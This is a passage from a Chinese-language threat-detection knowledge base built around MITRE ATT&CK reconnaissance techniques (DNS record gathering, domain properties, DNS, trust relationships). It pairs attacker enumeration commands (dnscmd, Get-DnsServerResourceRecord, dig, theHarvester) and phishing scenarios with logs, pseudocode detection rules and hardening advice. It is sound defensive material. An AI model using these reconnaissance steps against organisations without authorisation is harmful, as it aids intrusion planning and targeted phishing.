User-Agent。\n2. **DNS 查询监控**：\n   - 检测高频或异常的子域名查询（如 `team.example.com`）。\n   - 示例规则（伪代码）：\n     ```log\n     if (DNS query for *.example.com > 50/hour from single IP) then alert\n     ```\n3. **数据泄露监控**：\n   - 定期使用 Have I Been Pwned 或 Firefox Monitor 检查组织邮箱和姓名的泄露情况。\n   - 订阅威胁情报服务，获取泄露预警。\n4. **邮件网关检测**：\n   - 监控可疑的钓鱼邮件，可能使用收集到的员工姓名定制内容。\n   - 示例规则（伪代码）：\n     ```log\n     if (email contains employee name and SPF fail) then alert\n     ```\n5. **SIEM 关联分析**：\n   - 整合 Web 服务器、DNS 和邮件网关日志，检测异常模式。\n   - 示例：关联爬虫访问与后续钓鱼邮件的发送者 IP。\n\n## 建议\n\n### 防御措施\n1. **减少公开信息暴露**：\n   - 避免在官网、社交媒体或招聘网站暴露员工姓名和职位，使用通用联系方式（如 `info@xxx.com`）或匿名化团队介绍。\n   - 对官网的“关于我们”或“团队”页面设置反爬虫机制（如 CAPTCHA 或限流）。\n2. **员工隐私保护**：\n   - 指导员工在社交媒体（如 LinkedIn）限制公开信息，避免泄露姓名、职位或工作邮箱。\n   - 定期清理或匿名化招聘网站上的员工简历。\n3. **数据泄露监控**：\n   - 定期使用 Have I Been Pwned 或类似服务检查组织邮箱和姓名的泄露情况。\n   - 建立数据泄露响应机制，及时通知员工更新受损账号的凭据。\n4. **员工培训**：\n   - 开展反钓鱼和社交工程培训，教育员工识别伪造邮件和可疑链接。\n   - 提高员工对隐私保护的意识，避免在公开场合泄露姓名或职位。\n5. **主动 OSINT 评估**：\n   - 使用 Maltego 或 SpiderFoot 模拟攻击者行为，评估组织在公开渠道的暴露程度。\n   - 定期检查 GitHub、Pastebin 或社交媒体是否泄露员工姓名。\n\n### 后续阶段监控\n- **钓鱼攻击（T1566）**：\n  - 监控邮件网关日志，检测使用员工姓名定制的钓鱼邮件。\n  - 示例事件：Windows 事件 ID 4663（文件访问）。\n- **凭证爆破（T1110）**：\n  - 监控异常登录尝试，如 Windows 事件 ID 4625（登录失败）。\n  - 示例规则：`if (failed logins > 5 in 1 minute from single IP) then alert`。\n- **有效账号使用（T1078）**：\n  - 检测非预期时间或地点的登录，如 Windows 事件 ID 4624（登录成功）。\n\n### 外部情报监控\n- 订阅威胁情报服务，获取针对组织的侦察或数据泄露预警。\n- 监控暗网或 Pastebin，识别泄露的员工姓名和邮箱。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n### 降低误报\n- 区分合法用户行为（如员工访问官网）与攻击者的爬取活动，结合访问时间、IP 地理位置等上下文。\n- 使用机器学习模型分析 Web 流量，识别异常爬虫模式。\n- 定期更新检测规则，避免误报正常的官网访问或 DNS 查询。\n\n## 参考推荐\n\n- MITRE ATT&CK:T1589-003  \n  <https://attack.mitre.org/techniques/T1589/003/>\n- 数据泄露查询工具  \n  - <https://haveibeenpwned.com/>\n  - <https://monitor.firefox.com/>\n  - <https://ghostproject.fr/>\n- Maltego 文档  \n  <https://docs.maltego.com/>\n- SpiderFoot 文档  \n  <https://www.spiderfoot.net/documentation/>\n\n"
  },
  {
    "path": "Windows/01侦察/T1590-win-DNS记录获取.md",
    "content": "# T1590-收集目标组织网络信息-DNS记录获取\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种方式收集目标组织的 DNS 记录信息（T1590）。这些信息可用于目标定位、了解网络架构或指导后续攻击活动（如钓鱼 T1566、有效账号 T1078 或服务探测 T1046）。DNS 记录（如 A、MX、CNAME、TXT 等）通常通过公开渠道或内部权限获取，暴露目标组织的服务器、邮件系统或其他关键基础设施。由于这些活动可能在目标组织的视野之外（如攻击者的设备或公开 DNS 查询）或内部环境中（如利用已获得的权限）进行，检测具有一定挑战性。\n\n在域渗透场景中，DNS 记录是了解目标域内网络架构的重要情报。例如，获取 MX 记录可揭示邮件服务器地址，A 记录可暴露主机 IP，CNAME 记录可揭示子域名关系。如果攻击者已获得域内权限（如管理员权限），DNS 记录可进一步帮助其识别关键资产或薄弱点，为横向移动（T1021）或数据泄露（T1537）提供支持。\n\n**参考来源**：\n- 3gstudent: 域渗透——DNS记录的获取\n- Microsoft: dnscmd 文档\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的 DNS 记录收集方法，聚焦于 Windows 环境下的操作（内部权限场景）和外部公开信息收集。\n\n#### 测试案例 1：使用 dnscmd 获取 DNS 记录\n**关联技术**：T1590（DNS 记录获取）  \n**说明**：  \n- 攻击者在已获得域内权限（如管理员权限）的情况下，使用 Windows 内置工具 `dnscmd` 查询 DNS 服务器的记录。  \n**适用系统**：  \n- Windows Server 2003/2008/2012（含 R2 版本）  \n- Windows 7/10（需安装 Remote Server Administration Tools, RSAT）  \n**示例操作**：\n```cmd\n:: 查询 DNS 区域信息\ndnscmd . /ZoneInfo example.com\n:: 枚举所有 DNS 区域\ndnscmd . /EnumZones\n:: 显示区域中的所有记录\ndnscmd . /ZonePrint example.com\n```\n**输出示例**：\n```\nZone: example.com\nType: Primary\nRecords:\n  @ A 192.168.1.10\n  mail A 192.168.1.20\n  www CNAME web.example.com\n  MX 10 mail.example.com\n```\n**说明**：  \n- `dnscmd` 是 Windows Server 的命令行工具，用于管理 DNS 服务器，需管理员权限。  \n- 关联 T1590：通过内部权限获取 DNS 记录。\n\n#### 测试案例 2：使用 PowerShell 获取 DNS 记录\n**关联技术**：T1590（DNS 记录获取）  \n**说明**：  \n- 攻击者在域内环境中使用 PowerShell 的 `DnsServer` 模块查询 DNS 记录，替代即将弃用的 `dnscmd`。  \n**示例操作**：\n```powershell\n# 导入 DnsServer 模块\nImport-Module DnsServer\n# 查询 DNS 区域信息\nGet-DnsServerZone -Name \"example.com\"\n# 查询特定记录\nGet-DnsServerResourceRecord -ZoneName \"example.com\"\n```\n**输出示例**：\n```\nZoneName: example.com\nZoneType: Primary\nRecords:\n  HostName: @, RecordType: A, Data: 192.168.1.10\n  HostName: mail, RecordType: A, Data: 192.168.1.20\n  HostName: www, RecordType: CNAME, Data: web.example.com\n  HostName: @, RecordType: MX, Data: 10 mail.example.com\n```\n**说明**：  \n- PowerShell 是 Microsoft 推荐的 `dnscmd` 替代工具，适用于 Windows Server 2012 及以上版本。  \n- 关联 T1590：通过 PowerShell 获取 DNS 记录。\n\n#### 测试案例 3：外部 DNS 查询（公开信息）\n**关联技术**：T1590（DNS 记录获取）  \n**说明**：  \n- 攻击者通过外部工具（如 `nslookup`、`dig` 或在线服务）查询目标组织的公开 DNS 记录。  \n**示例操作**：\n```bash\n:: 使用 nslookup 查询 MX 记录\nnslookup -type=MX example.com\n:: 使用 dig 查询所有记录\ndig example.com ANY\n```\n**输出示例**：\n```\n;; ANSWER SECTION:\nexample.com. 3600 IN A 192.168.1.10\nexample.com. 3600 IN MX 10 mail.example.com\nexample.com. 3600 IN TXT \"v=spf1 mx -all\"\n```\n**说明**：  \n- 公开 DNS 查询无需权限，可从攻击者的设备执行。  \n- 关联 T1590：通过外部查询获取 DNS 记录。\n\n#### 测试案例 4：使用 OSINT 工具收集 DNS 信息\n**关联技术**：T1590（DNS 记录获取）  \n**说明**：  \n- 使用开源情报（OSINT）工具（如 The Harvester、dnsdumpster）收集目标组织的 DNS 记录和子域名。  \n**示例操作**：\n```bash\n:: 使用 The Harvester 枚举子域名和 DNS 记录\ntheharvester -d example.com -b google,dnsdumpster\n```\n**输出示例**：\n```\nSubdomains:\n- mail.example.com (A: 192.168.1.20)\n- www.example.com (CNAME: web.example.com)\n- vpn.example.com (A: 192.168.1.30)\n```\n**说明**：  \n- OSINT 工具整合公开数据，适用于外部侦察阶段。  \n- 关联 T1590：通过 OSINT 工具获取 DNS 记录。\n\n#### 测试案例 5：查询数据泄露中的 DNS 信息\n**关联技术**：T1590（DNS 记录获取）  \n**说明**：  \n- 攻击者通过数据泄露数据库或暗网市场获取目标组织的 DNS 相关信息（如子域名或服务器 IP）。  \n**示例操作**：\n- 访问 Pastebin 或暗网市场，搜索目标域名 `example.com`。\n- 使用 Have I Been Pwned 检查与域名相关的泄露数据。\n**输出示例**：\n```\nPastebin Leak:\n- Subdomain: internal.example.com, IP: 192.168.1.100\n- MX: mail.example.com, IP: 192.168.1.20\n```\n**说明**：  \n- 数据泄露可能暴露内部 DNS 记录或配置。  \n- 关联 T1590：通过数据泄露获取 DNS 信息。\n\n## 检测日志\n\nDNS 记录获取可能发生在外部（公开查询）或内部（利用权限），检测日志因场景而异：\n- **Windows 安全日志**（内部场景）：\n  - **事件 ID 4688**（新进程创建）：记录 `dnscmd.exe` 或 PowerShell 进程的启动。\n    - 示例：`New Process Name: C:\\Windows\\System32\\dnscmd.exe`\n  - **事件 ID 4674**（权限分配）：记录对 DNS 服务器的高权限操作。\n- **DNS 服务器日志**：\n  - 记录异常的 DNS 查询，如高频查询特定区域或记录类型（A、MX、TXT）。\n  - 示例：`Query: example.com, Type: ANY, Source: 192.168.1.100`\n- **网络流量日志**：\n  - 外部查询可能产生异常的 DNS 请求（如高频 `ANY` 查询）。\n  - 示例：`UDP 53, Source: 203.0.113.1, Query: mail.example.com`\n- **Web 服务器日志**（OSINT 场景）：\n  - 记录爬取公司官网的异常访问，可能与子域名推测相关。\n  - 示例：`GET /sitemap.xml HTTP/1.1` 从异常 IP。\n\n## 测试复现\n\n### 内部场景（已获得权限）\n1. **环境**：Windows Server 2016，域管理员权限。\n2. **步骤**：\n   - 安装 RSAT（若未预装 `dnscmd`）。\n   - 执行 `dnscmd . /ZoneInfo example.com` 或 `Get-DnsServerZone -Name example.com`。\n3. **预期结果**：返回 DNS 区域信息和记录（如 A、MX、CNAME）。\n\n### 外部场景（公开信息收集）\n1. **环境**：Kali Linux 或任何带有 `nslookup`/`dig` 的系统。\n2. **步骤**：\n   - 执行 `nslookup -type=MX example.com` 或 `dig example.com ANY`。\n   - 使用 The Harvester：`theharvester -d example.com -b dnsdumpster`。\n3. **预期结果**：返回公开的 DNS 记录和子域名。\n\n**注意**：`dnscmd` 在 Windows Server 2016 及以上版本可能不默认支持，推荐使用 PowerShell 的 `DnsServer` 模块。\n\n## 测试留痕\n\n### 内部场景\n- **Windows 安全日志**：\n  ```\n  Event ID: 4688\n  Creator Subject:\n    Security ID: EXAMPLE\\admin\n    Account Name: admin\n    Account Domain: EXAMPLE\n    Logon ID: 0x36D7FD\n  Process Information:\n    New Process ID: 0x111c\n    New Process Name: C:\\Windows\\System32\\dnscmd.exe\n    Creator Process Name: C:\\Windows\\System32\\cmd.exe\n    Process Command Line: dnscmd /ZoneInfo example.com\n  ```\n- **DNS 服务器日志**：\n  ```\n  Query: example.com, Type: SOA, Source: 192.168.1.100\n  ```\n\n### 外部场景\n- **DNS 查询日志**（若目标控制 DNS 服务器）：\n  ```\n  Query: mail.example.com, Type: A, Source: 203.0.113.1\n  ```\n- **Web 服务器日志**（若爬取官网）：\n  ```\n  203.0.113.1 - - [26/May/2025:08:01:00 +0000] \"GET /sitemap.xml HTTP/1.1\" 200 1234\n  ```\n\n## 检测规则/思路\n\n### 检测规则\n1. **监控 dnscmd 和 PowerShell 进程**：\n   - 检查 Windows 事件 ID 4688，检测 `dnscmd.exe` 或 `powershell.exe` 的异常启动。\n   - 示例规则（伪代码）：\n     ```log\n     if (EventID == 4688 and ProcessName == \"dnscmd.exe\" or ProcessName == \"powershell.exe\" and CommandLine contains \"DnsServer\") then alert\n     ```\n2. **DNS 查询异常**：\n   - 监控 DNS 服务器日志，检测高频查询（如 `ANY` 类型或多个子域名）。\n   - 示例规则（伪代码）：\n     ```log\n     if (DNS Query Type == ANY and Queries > 50/hour from single IP) then alert\n     ```\n3. **网络流量分析**：\n   - 检测异常的 UDP 53 流量（如高频外部查询）。\n   - 示例规则（伪代码）：\n     ```log\n     if (UDP Port 53 and Source IP not in Trusted_IPs and Queries > 100/hour) then alert\n     ```\n4. **Web 爬虫检测**：\n   - 检查 Web 服务器日志，识别高频访问 sitemap.xml 或子域名相关页面的 IP。\n   - 示例规则（伪代码）：\n     ```log\n     if (GET /sitemap.xml | /about > 100 requests/hour from single IP) then alert\n     ```\n\n### 检测思路\n- **内部威胁**：重点监控域内管理员权限的使用，检测异常的 DNS 管理操作（如 `dnscmd` 或 PowerShell 命令）。\n- **外部威胁**：分析 DNS 查询模式，识别异常的高频或广域查询（如 `ANY` 查询）。\n- **SIEM 关联分析**：整合 Windows 安全日志、DNS 服务器日志和网络流量，检测异常模式。\n- **威胁情报**：订阅外部情报，监控针对目标域名的 DNS 记录泄露或扫描活动。\n\n## 建议\n\n### 防御措施\n1. **限制 DNS 记录公开**：\n   - 最小化公开的 DNS 记录（如避免不必要的 TXT 或 CNAME 记录）。\n   - 使用私有 DNS 服务器，限制外部查询（如仅允许信任的 IP）。\n2. **加强权限管理**：\n   - 限制对 DNS 服务器的管理权限，仅授权必要管理员使用 `dnscmd` 或 `DnsServer` 模块。\n   - 启用多因素认证（MFA）保护域管理员账号。\n3. **DNS 安全配置**：\n   - 启用 DNSSEC（DNS 安全扩展）防止 DNS 记录篡改。\n   - 配置防火墙，限制外部对 DNS 服务器的查询（UDP 53）。\n4. **员工培训**：\n   - 教育员工识别钓鱼邮件，避免泄露与 DNS 相关的配置信息。\n   - 提高对社交工程攻击的警惕性，防止内部权限泄露。\n5. **主动 OSINT 评估**：\n   - 使用 The Harvester 或 dnsdumpster 模拟攻击者行为，评估公开 DNS 记录的暴露程度。\n   - 定期检查 Pastebin 或暗网，识别泄露的 DNS 信息。\n\n### 后续阶段监控\n- **钓鱼攻击（T1566）**：\n  - 监控邮件网关日志，检测利用 DNS 记录（如 MX 服务器）的钓鱼邮件。\n  - 示例事件：Windows 事件 ID 4663（文件访问）。\n- **服务探测（T1046）**：\n  - 监控网络扫描活动，检测针对 DNS 记录暴露的服务器（如 `mail.example.com`）的探测。\n  - 示例规则：`if (TCP SYN to 192.168.1.20 > 10/min from single IP) then alert`。\n- **有效账号使用（T1078）**：\n  - 检测异常的管理员登录，如 Windows 事件 ID 4624（登录成功）。\n\n### 外部情报监控\n- 订阅威胁情报服务，获取针对组织域名的 DNS 扫描或泄露预警。\n- 监控暗网或 Pastebin，识别泄露的 DNS 记录或子域名。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n### 降低误报\n- 区分合法的 DNS 查询（如员工或合作伙伴）与攻击者的扫描活动，结合 IP 地理位置、查询频率等上下文。\n- 使用机器学习模型分析 DNS 流量，识别异常查询模式。\n- 定期更新检测规则，避免误报正常的 DNS 管理操作。\n\n## 参考推荐\n\n- MITRE ATT&CK:T1590  \n  <https://attack.mitre.org/techniques/T1590/>\n- 域渗透——DNS记录的获取  \n  <https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DNS%E8%AE%B0%E5%BD%95%E7%9A%84%E8%8E%B7%E5%8F%96>\n- Microsoft dnscmd 文档  \n  <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11)>\n- Microsoft RSAT 下载  \n  <https://www.microsoft.com/en-us/download/details.aspx?id=7887>\n- PowerShell DnsServer 模块文档  \n  <https://docs.microsoft.com/en-us/powershell/module/dnsserver/>\n"
  },
  {
    "path": "Windows/01侦察/T1590.001-收集目标组织网络信息-域属性.md",
    "content": "# T1590-001-收集目标组织网络信息-域属性\n\n## 描述\n攻击者在入侵目标组织之前，可能收集其网络域属性的信息。域属性信息包括目标组织拥有的域名、注册商信息、域名注册人联系方式（如姓名、电子邮件、电话）、公司地址、名称服务器（NS记录）、注册和到期日期等。这些信息可帮助攻击者了解目标的网络架构、关键联系人以及潜在的攻击入口点。\n\n攻击者可能通过以下方式收集域属性信息：\n- **被动收集**：查询公开的WHOIS数据库、DNS记录或其他技术数据库（如DNS Dumpster、Circl Passive DNS）。\n- **主动收集**：通过扫描目标域的服务器（如端口扫描、Banner抓取）获取服务信息，或通过钓鱼诱导员工泄露域名管理凭据。\n- **社会工程**：伪装成合法实体，通过邮件或电话套取域名管理相关信息。\n- **公开信息分析**：利用搜索引擎、社交媒体或泄露文档（如Pastebin）获取与域名相关的信息。\n\n收集到的域属性信息可能为后续攻击活动做准备，例如搜索开放网站/域（T1593）、主动扫描（T1595）、建立运营资源（T1583/T1584）或通过钓鱼攻击实现初始访问（T1566）。\n\n## 测试案例\n以下是模拟攻击者收集域属性信息的常见方法和工具：\n- **WHOIS查询**：\n  - **Kali Linux WHOIS**：使用命令行工具`whois target.com`查询域名注册信息。\n  - **在线WHOIS查询工具**：\n    - **站长之家** (<https://whois.chinaz.com>): 查询域名归属、注册商及到期时间。\n    - **爱站网** (<https://whois.aizhan.com>): 提供域名注册信息和历史记录。\n    - **IP138** (<https://www.ip138.com>): 查询域名和IP关联信息。\n    - **ICANN Lookup** (<https://lookup.icann.org>): 官方WHOIS查询工具。\n    - **腾讯云域名信息查询** (<https://cloud.tencent.com>): 查询域名注册详情。\n    - **Whois Lookup** (<https://who.is>): 提供详细的WHOIS记录。\n    - **新网WHOIS** (<https://www.xinnet.com>): 查询国内域名注册信息。\n- **被动DNS与历史记录查询**：\n  - **DNS Dumpster** (<https://dnsdumpster.com>): 获取域名关联的DNS记录和历史信息。\n  - **SecurityTrails** (<https://securitytrails.com>): 查询域名的历史解析记录和子域名。\n  - **Circl Passive DNS** (<https://www.circl.lu/services/passive-dns>): 提供全球DNS记录查询。\n- **威胁情报平台**：\n  - **微步在线** (<https://x.threatbook.cn>): 提供域名相关的威胁情报和注册信息。\n  - **奇安信威胁情报平台** (<https://ti.qianxin.com>): 分析域名与潜在威胁的关联。\n- **社会工程**：\n  - 通过伪装成域名注册商发送钓鱼邮件，诱导员工泄露域名管理平台凭据。\n  - 在社交媒体或论坛（如LinkedIn、QQ群）收集员工泄露的域名信息。\n- **案例场景**：\n  - 攻击者通过ICANN Lookup查询目标域名的注册人邮箱，发现其用于其他服务，发起针对性钓鱼攻击。\n  - 使用SecurityTrails发现目标域名的历史NS记录，推测其托管服务提供商并寻找弱点。\n\n## 检测日志\n域属性信息收集多通过公开数据库或外部查询进行，难以直接监测。以下是可能的日志来源：\n- **DNS服务器日志**：\n  - 记录异常的DNS查询，如针对敏感域名的频繁WHOIS或NS查询。\n- **Web服务器日志**：\n  - 检测与域名管理平台相关的异常登录尝试或HTTP请求。\n- **邮件服务器日志**：\n  - 监控钓鱼邮件或社会工程攻击，可能与域名信息收集相关。\n- **网络流量日志**：\n  - 检测外部主机对组织DNS服务器的异常查询或扫描行为。\n\n## 测试复现\n暂无标准化复现流程。可通过以下方式模拟：\n- **被动收集**：使用ICANN Lookup或SecurityTrails查询目标域名的WHOIS记录和历史DNS数据。\n- **主动查询**：在授权测试环境中，使用`whois`命令或在线工具查询目标域名的注册信息。\n- **社会工程模拟**：在红队测试中，伪装成注册商发送钓鱼邮件，诱导员工泄露域名管理凭据。\n- **综合测试**：结合DNS Dumpster和Shodan，分析目标域名的子域名和关联资产。\n\n## 测试留痕\n- **被动WHOIS查询**：通常不留明显痕迹，难以直接检测。\n- **主动扫描**：可能在DNS服务器或防火墙日志中记录异常查询或扫描流量。\n- **社会工程**：可能在邮件服务器或员工设备上留下钓鱼交互记录。\n- **域名管理平台**：异常登录尝试可能在管理平台日志中记录。\n\n## 检测规则/思路\n由于域属性信息收集多发生在目标组织视野之外，检测需结合多种手段：\n- **DNS查询监控**：\n  - 配置DNS服务器记录查询日志，检测异常的WHOIS或NS查询模式。\n  - 使用DNS防火墙（如Cloudflare Gateway）阻止已知的恶意查询来源。\n- **网络流量分析**：\n  - 部署IDS/IPS（如Snort、Suricata）监控异常DNS查询或针对管理端口的扫描。\n  - 使用Zeek或NetFlow分析DNS请求模式，识别潜在的枚举行为。\n- **信息泄露防护**：\n  - 使用DLP（数据丢失防护）工具，检测员工通过邮件或社交媒体泄露域名相关信息。\n  - 监控公开信息源（如Pastebin、暗网论坛）中是否出现组织的WHOIS数据。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的WHOIS查询工具或恶意IP。\n  - 定期检查公开WHOIS数据库中的记录，评估信息暴露风险。\n\n## 建议\n- **减少信息暴露**：\n  - 使用WHOIS隐私保护服务，隐藏注册人联系方式和公司信息。\n  - 定期审查公开DNS记录，删除不必要的子域名或敏感信息。\n  - 对员工进行安全意识培训，防止通过社会工程泄露域名管理凭据。\n- **域名安全加固**：\n  - 启用域名注册锁，防止未经授权的域名转移。\n  - 实施MFA（多因素认证）保护域名管理平台。\n  - 定期更新DNS记录，移除过期的NS或A记录。\n- **主动监控与响应**：\n  - 部署DNS日志分析工具（如Splunk、ELK），监控异常查询行为。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的域属性侦察活动。\n  - 定期审计域名注册商和托管服务提供商的安全配置。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1566、横向移动T1021），通过异常网络流量或钓鱼行为间接发现侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1590-003 (Domain Properties)  \n  <https://attack.mitre.org/techniques/T1590/003/>\n- 收集域名信息与安全  \n  <https://www.kancloud.cn/noahs/src_hacker/2119907>\n- 渗透测试之信息收集DNS篇  \n  <https://blog.csdn.net/qq1124794084/article/details/78672225>"
  },
  {
    "path": "Windows/01侦察/T1590.002-收集目标组织网络信息-DNS.md",
    "content": "# T1590-002-收集目标组织网络信息-DNS\n\n## 来自ATT&CK的描述\n\n攻击者在入侵目标组织之前，可能收集其DNS相关信息，以了解目标的网络架构和关键资产。DNS信息包括注册的名称服务器、子域名、邮件服务器（MX记录）、其他主机地址（A/AAAA记录）以及相关的TXT或CNAME记录等。这些信息可帮助攻击者识别目标的网络入口点、基础设施分布或潜在漏洞。\n\n攻击者可能通过以下方式收集DNS信息：\n- **被动DNS查询**：利用公开DNS数据库或历史记录（如SecurityTrails、DNS Dumpster）获取目标的域名解析历史。\n- **主动DNS查询**：直接查询目标域名的DNS记录（如使用dig、nslookup）。\n- **公开信息收集**：通过搜索引擎、社交媒体或泄露文档获取与DNS相关的配置信息。\n- **社会工程**：通过钓鱼或伪装身份诱导员工泄露DNS相关信息（如管理凭据）。\n\n收集到的DNS信息可能为后续攻击活动做准备，例如主动扫描（T1595）、搜索开放网站/域（T1593）、建立运营资源（T1583/T1584）或利用外部远程服务实现初始访问（T1133）。\n\n## 测试案例\n\n以下是模拟攻击者收集DNS信息的常见方法和工具：\n- **被动DNS查询**：\n  - **SecurityTrails** (<https://securitytrails.com>): 查询目标域名的历史DNS记录，包括IP地址、子域名和机房信息。\n  - **DNS Dumpster** (<https://dnsdumpster.com>): 提供目标域名的DNS映射和子域名信息。\n  - **ViewDNS.info** (<https://viewdns.info>): 获取DNS历史记录，追踪域名解析变更。\n  - **DNSDB** (<https://www.dnsdb.info>): 全球DNS搜索引擎，查询目标域名的历史和当前记录。\n- **主动DNS查询**：\n  - **dig/nslookup**: 直接查询目标域名的A、MX、NS、TXT等记录。\n  - **dnsenum**: 自动化枚举目标域名的子域名和DNS记录。\n  - **Fierce**: 用于DNS枚举和子域名爆破的工具。\n- **在线查询平台**：\n  - **ThreatBook** (<https://www.threatbook.io>): 提供DNS和威胁情报分析。\n  - **Netcraft** (<https://www.netcraft.com>): 分析目标域名的托管信息和历史记录。\n- **社会工程**：\n  - 通过伪装成IT管理员发送钓鱼邮件，诱导员工泄露DNS管理平台的凭据。\n  - 在论坛或社交媒体（如QQ群、LinkedIn）收集员工泄露的DNS配置信息。\n- **案例场景**：\n  - 攻击者通过SecurityTrails查询目标组织的子域名，发现未正确配置的邮件服务器（MX记录），进而发起针对该服务器的攻击。\n  - 使用dnsenum枚举子域名，识别隐藏的测试环境（如test.target.com），作为后续入侵的入口。\n\n## 检测日志\n\nDNS信息收集多通过公开数据库或外部查询进行，难以直接监测。以下是可能的日志来源：\n- **DNS服务器日志**：\n  - 记录异常的DNS查询模式，如来自单一IP的高频查询或针对子域的批量查询。\n- **网络流量日志**：\n  - 检测外部主机对组织DNS服务器的异常请求（如大量A/NS/MX查询）。\n- **Web服务器日志**：\n  - 监控与DNS管理平台相关的异常登录尝试或HTTP请求。\n- **邮件服务器日志**：\n  - 检测钓鱼邮件或社会工程攻击，可能与DNS信息收集相关。\n\n## 测试复现\n\n无标准化复现流程。可通过以下方式模拟：\n- **被动收集**：使用SecurityTrails或DNS Dumpster查询目标组织的DNS记录，记录子域名和历史IP。\n- **主动查询**：在授权测试环境中，使用dig或dnsenum枚举目标域名的子域名和记录。\n- **社会工程模拟**：在红队测试中，伪装成第三方服务提供商，诱导员工泄露DNS管理信息。\n- **综合测试**：结合FOFA/Shodan搜索与目标域名关联的外部资产，推测DNS配置。\n\n## 测试留痕\n- **被动DNS查询**：通常不留明显痕迹，难以直接检测。\n- **主动DNS查询**：可能在DNS服务器日志中记录异常查询流量。\n- **社会工程**：可能在邮件服务器或员工设备上留下钓鱼交互记录。\n- **DNS管理平台**：异常登录尝试可能在管理平台日志中记录。\n\n## 测试留痕\n\n由于DNS信息收集多发生在目标组织视野之外，检测需结合多种手段：\n- **DNS查询监控**：\n  - 配置DNS服务器记录查询日志，检测异常的高频查询或针对敏感子域的请求。\n  - 使用DNS防火墙（如Cloudflare Gateway）阻止已知的恶意查询来源。\n- **网络流量分析**：\n  - 部署IDS/IPS（如Snort、Suricata）监控异常DNS流量，如来自单一IP的批量查询。\n  - 使用Zeek或NetFlow分析DNS请求模式，识别潜在的枚举行为。\n- **信息泄露防护**：\n  - 使用DLP（数据丢失防护）工具，检测员工通过邮件或社交媒体泄露DNS相关信息。\n  - 监控公开信息源（如Pastebin、暗网论坛）中是否出现组织的DNS记录。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如ThreatBook），识别已知的DNS侦察工具或恶意IP。\n  - 定期检查第三方DNS数据库（如SecurityTrails）中的记录，评估信息暴露风险。\n\n### 建议\n- **减少信息暴露**：\n  - 使用WHOIS隐私保护服务，隐藏域名注册信息。\n  - 定期清理或限制公开DNS记录，避免暴露敏感子域名或服务器信息。\n  - 对员工进行安全意识培训，防止通过社会工程泄露DNS管理凭据。\n- **DNS安全加固**：\n  - 实施DNSSEC（DNS安全扩展）以防止DNS欺骗和篡改。\n  - 限制DNS管理平台的访问，仅允许白名单IP登录。\n  - 定期审计DNS记录，删除未使用的子域名或记录。\n- **主动监控与响应**：\n  - 部署DNS日志分析工具（如Splunk、ELK），监控异常查询行为。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的DNS侦察活动。\n  - 定期审查第三方服务提供商的DNS配置，确保其安全性。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1133、横向移动T1021），通过异常网络流量或登录行为间接发现DNS侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1590-002  \n  <https://attack.mitre.org/techniques/T1590/002/>\n- DNS历史解析与安全  \n  <https://www.kancloud.cn/noahs/src_hacker/2120650>\n- 渗透测试之信息收集DNS篇  \n  <https://blog.csdn.net/qq1124794084/article/details/78672225>"
  },
  {
    "path": "Windows/01侦察/T1590.003-收集目标组织网络信息-网络信任关系.md",
    "content": "# T1590-001-收集目标组织网络信息-网络信任关系\n\n## 描述\n\n攻击者在入侵目标组织之前，可能收集其网络信任关系的信息。网络信任关系信息包括与目标组织存在信任连接的第二方或第三方组织/域的详细信息，例如托管服务提供商、承包商、分公司或其他合作伙伴的网络访问权限。这些信任关系可能涉及专线连接、VPN、共享凭据或单点登录（SSO）系统，攻击者可利用这些关系实现初始访问或横向移动。\n\n攻击者可能通过以下方式收集网络信任关系信息：\n- **社会工程**：通过钓鱼邮件、电话伪装或社交媒体诱骗员工泄露信任关系信息。\n- **公开信息收集**：查询公开技术数据库（如WHOIS、DNS记录）或搜索企业官网、社交媒体、招标文档等，获取与合作伙伴或供应商相关的信息。\n- **网络侦察**：通过扫描或被动信息收集，识别目标组织与外部实体之间的网络连接（如专线、VPN端点）。\n- **泄露数据分析**：利用暗网或公开泄露的数据集（如Pastebin、数据泄露论坛）获取信任关系信息。\n\n收集到的信任关系信息可能为后续攻击活动做准备，例如主动扫描（T1595）、搜索开放网站/域（T1593）、建立运营资源（T1583/T1584）或利用信任关系实现初始访问（T1199）。\n\n## 测试案例\n\n以下是收集网络信任关系信息的常见方法和场景：\n- **社会工程**：\n  - 伪装成IT支持人员，通过钓鱼邮件诱导员工泄露VPN配置或第三方服务凭据。\n  - 在LinkedIn、QQ群或行业论坛中与员工互动，套取与供应商或分公司的网络连接信息。\n- **公开信息收集**：\n  - 使用Google高级搜索语法（如`site:*.target.com \"partner\" | \"supplier\" | \"contractor\"`）查找目标组织与第三方合作的公开信息。\n  - 查询WHOIS记录或DNS记录，识别与目标组织相关的子域或关联IP，推测信任关系。\n  - 搜索公开招标文档或企业年报，获取与托管服务提供商或分公司的合作细节。\n- **网络扫描**：\n  - 使用Nmap或Masscan扫描目标组织的外部IP范围，识别VPN网关、远程访问服务或专线端点。\n  - 使用Shodan或FOFA搜索与目标组织关联的外部设备，推测信任网络的边界。\n- **案例场景**：\n  - 在航空、金融或电信行业，攻击者可能通过入侵分公司的弱安全系统（如未打补丁的服务器），利用专线或共享凭据进入目标组织的内部网络。\n  - 攻击者可能利用泄露的第三方托管服务提供商凭据（如云服务API密钥），通过信任关系访问目标组织的资源。\n\n## 检测日志\n\n网络信任关系信息的收集多发生在目标组织视野之外，检测难度较高。以下是可能的日志来源：\n- **外部活动**：\n  - **邮件服务器日志**：记录钓鱼邮件或异常的外部邮件交互。\n  - **Web服务器日志**：检测异常的HTTP请求，可能与爬取公开信息相关。\n  - **DNS日志**：监控针对组织域名的异常查询，可能是攻击者尝试推测信任关系。\n- **内部活动**：\n  - 